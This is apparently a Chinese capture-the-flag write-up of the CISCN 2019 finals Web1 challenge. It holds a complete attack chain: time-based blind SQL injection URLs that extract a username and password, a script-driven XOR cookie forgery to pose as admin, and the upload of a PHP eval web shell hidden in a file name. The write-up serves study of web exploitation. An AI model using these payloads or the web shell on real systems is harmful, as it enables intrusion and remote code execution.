[CISCN2019 总决赛 Day2 Web1]Easyweb（预期解）

这道题目是总决赛秦学长出的题（感谢大佬带见世面），写完 wp 很久了，但是因为比赛时 web 都提供了源码，出题时并不知道这个规则，导致解法并不是学长设计题目时的预期解。今天又翻到去年夏天的这篇笔记，就贴出来纪念一下吧（成都火锅真好吃）

登录界面如下，发现登录不进去，每点一次login小图片会刷新一次

查看源代码：

图片是通过image.php显示，登录信息会提交到user.php

扫描目录：发现robots.txt，看到提示有备份文件

 

下载image.php.bak源码：

构造：

http://94.191.19.91/image.php?id=&path=or sleep(3)-- -

解释如下

页面延时3秒，通过注入伪造下载地址，可以下载整站源码

http://94.191.19.91/image.php?id=&path=union select 1,0x696d6167652e706870-- -

在user.php发现username存在users表中

获得账号长度4位：

http://94.191.19.91/image.php?id=&path=or if((select length(username) from users where id=1)=1,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or if((select length(username) from users where id=1)=2,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or if((select length(username) from users where id=1)=3,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or if((select length(username) from users where id=1)=4,sleep(3),1=2)-- -

（账号长度用大于小于判断可以缩短一些时间）

获得username为hyhs：

http://94.191.19.91/image.php?id=&path=or If((select ascii(substr(username,1,1)) from users)=104,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or If((select ascii(substr(username,2,1)) from users)=121,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or If((select ascii(substr(username,3,1)) from users)=104,sleep(3),1=2)-- -

http://94.191.19.91/image.php?id=&path=or If((select ascii(substr(username,4,1)) from users)=115,sleep(3),1=2)-- -

ascii码二分法尝试，或者用intruder爆破，例如下图爆破第4个字符没有115，那么第4个字符就是115对应的s

同理获得password为hongyanhuoshui

用得到的username和password登录

查看upload.php源码，只要当前用户为admin，即可进行文件上传：

查看function.php源码：

username的cookie经过base64解密后再和secret异或得到username，所以已知username为hyhs和cookie再进行一次逐位异或可以得到secret的前4位

查看user.php的cookie，base64解密：

 

根据加密算法写脚本得到secret前4位：

（'x十六进制'就代表这个字符）

admin一共五个字符，已经得到前四位密钥了，一个字母是一个字节，八个比特位，2^8=256，只要爆破至多256次就能得出管理员的cookie

用户名前四位admi和密钥前四位!*(f进行异或运算得到@NEx0f

写一个脚本列出admin与密钥异或所有可能情况：

 

抓user.php包，发送到intruder，爆破cookie值：

加载脚本生成的字典a.txt，选择base64加密，爆破得到管理员cookie

 

修改cookie值为QE5FDx4=，刷新，伪造出admin用户登录：

查看源码，发现提交表单时数据发送到upload.php：

读upload.php源码，不能上传php文件，file_put_contents可以把字符串写到文件中去，这个字符串包含了文件名

上传一个a.txt抓包：

把a.txt修改为<?=eval($_POST['abc'])?>，forward（文件名过滤了php，<?=?>这种写法一样的）：

放包，访问logs/upload.log.php：

eval(code) 的功能是将 code 组合成 php 指令，然后将指令执行

<?php $a="phpinfo()"; eval("$a;");?>   #就相当于执行 phpinfo（); 语句

file_get_contents()函数将整个文件读入一个字符串